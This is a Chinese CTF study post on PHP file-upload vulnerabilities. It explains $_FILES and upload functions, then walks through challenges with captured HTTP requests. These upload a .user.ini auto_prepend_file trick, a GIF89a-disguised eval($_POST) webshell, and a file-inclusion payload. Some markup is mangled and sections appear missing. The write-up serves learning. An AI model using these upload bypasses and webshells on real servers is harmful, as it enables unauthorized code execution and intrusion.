前言
上礼拜一直在搞期中测试和unctf,没啥时间整理,这礼拜继续整理!
PHP文件上传基础以及基本上传流程
文件上传前端:
前端部分往往都是表单提交,input 的 type 设置为 file 。form 表单会有一个 enctype 属性,在文本提交时默认值是"application/x-www-form-urlencoded"。当有文件上传时,值是 “multipart/form-data”。
文件上传后端:
$_FILES
php中关于文件上传的一个超全局变量,是一个数组,其包含了所有上传的文件信息
如果上传表单的name
属性值为file
,即:
<input name="file" type="file" />
则 $_FILES
数组内容为:
-
$_FILES['file']['name']
上传文件的原文件名 -
$_FILES['file']['type']
文件的MIME类型
需要浏览器提供该信息的支持,例如”image/gif” -
$_FILES['file']['size']
已上传文件的大小,单位为字节 -
$_FILES['file']['tmp_name']
文件被上传后在服务端存储的临时文件名, 在请求结束后该临时文件会被删除 -
$_FILES['file']['error']
和该文件上传相关的错误代码
UPLOAD_ERR_OK
(0) 文件上传成功UPLOAD_ERR_INI_SIZE
(1),上传的文件超过了php.ini
upload_max_filesize
选项限制的值UPLOAD_ERR_FORM_SIZE
(2), 上传文件的大小超过了HTML表单中MAX_FILE_SIZE
选项指定的值UPLOAD_ERR_PARTIAL
(3) ,文件只有部分被上传UPLOAD_ERR_NO_FILE
(4) ,没有文件被上传UPLOAD_ERR_NO_TMP_DIR
(6) ,找不到临时文件夹UPLOAD_ERR_CANT_WRITE
(7) ,文件写入失败
tips: php支持多文件上传,如果有多个文件,则上面的变量将会是一个数组,例如:
<input name="file[]" type="file" /><input name="file[]" type="file" />
则:$_FILES['file']['name'][0]
代表上传的第一个文件的文件名;$_FILES['file']['name'][1]
代表上传的第二个文件的文件名
和文件上传相关的一些函数
is_uploaded_file($filename)
判断文件是否是通过HTTP POST上传的
move_uploaded_file($filename, $destination)
将上传的文件移动到新位置
- 该函数会检查文件是否是通过http上传(相当于自动调用
is_uploaded_file($filename)
),如果其返回为true才会将其移动到新位置 - 若成功,则返回 true,否则返回 false
- 如果目标文件已经存在,将会被覆盖
- 移动目的路径所在目录必须存在,此函数不会创建目录
文件上传http包:(中间过程)
现在我写了个简单的php脚本,让我们抓包看看中间的传递数据的特征,脚本如下:
DOCTYPE html><html><head> <meta charset="UTF-8"" /> <title>文件上传小测试title>head><body> <form action='#' enctype='multipart/form-data' method='post' > <input type='file' name='file' /> <br> <input type='submit' name='submit' value="提交" /> form> <hr>body>html>
上传一个简单的木马然后抓包看看。抓到的包如下:
POST /firstdemo/file.php?file=%E5%AD%A6%E4%B9%A0%E9%A1%BA%E5%BA%8F.txt&submit=%E6%8F%90%E4%BA%A4 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,**;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------24060250142092067233788479856Content-Length: 372Origin: http://61.147.171.105:53386Connection: closeReferer: http://61.147.171.105:53386/index.phpUpgrade-Insecure-Requests: 1-----------------------------24060250142092067233788479856Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"Content-Type: image/gifGIF89aauto_prepend_file=1.gif-----------------------------24060250142092067233788479856Content-Disposition: form-data; name="upload"æ交-----------------------------24060250142092067233788479856--
在这里注意修改上传文件的Content-Type
,只要是能上传的就行,这个对后端解析应该没有影响,接着我们上传 1.gif :
POST /index.php HTTP/1.1Host: 61.147.171.105:53386User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------83647928624379601823415785856Content-Length: 367Origin: http://61.147.171.105:53386Connection: closeReferer: http://61.147.171.105:53386/index.phpUpgrade-Insecure-Requests: 1-----------------------------83647928624379601823415785856Content-Disposition: form-data; name="fileUpload"; filename="1.gif"Content-Type: text/plainGIF89a=eval($_POST[1]);?>-----------------------------83647928624379601823415785856Content-Disposition: form-data; name="upload"æ交-----------------------------83647928624379601823415785856--
由于.user.ini
有个特性:会被动态加载,因此我们就可以直接访问/uploads/index.php,发现1.gif已经被包含进来了,蚁剑直接连接,flag在根目录下。
flag:cyberpeace{93b75be06d39fd5fe532d36e602bcfc8}
3、buu:BUU UPLOAD COURSE 1
文件上传和文件包含漏洞的结合体。
一开始以为是图片二次渲染,不管上传什么文件,都会变成jpg后缀的文件,后来验证了一下发现不是,发现有个文件包含:/index.php?file=upload.php
,试了一下包含其他文件,发现都不行,纯纯没想法了。
看了wp,原来就是上传木马后,把jpg文件包含就行…因为之前验证发现上传的文件除了文件名以外不会发生任何改变,因此文件包含之后就可以直接有后门。
payload:
/index.php?file=uploads/638493f180550.jpg # 后面的就是上传的php木马文件
flag:flag{e52b3267-adf2-488c-b9e1-ef5dc7e72cc0}
参考文章
好文: https://www.cnblogs.com/sherlson/articles/15622018.html
https://lazzzaro.github.io/2020/05/06/web-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/
https://www.anquanke.com/post/id/183046
http://www.bmth666.cn/bmth_blog/2020/10/27/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%EF%BC%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://xz.aliyun.com/t/2657
来源地址:https://blog.csdn.net/BrosyveryOK/article/details/128085372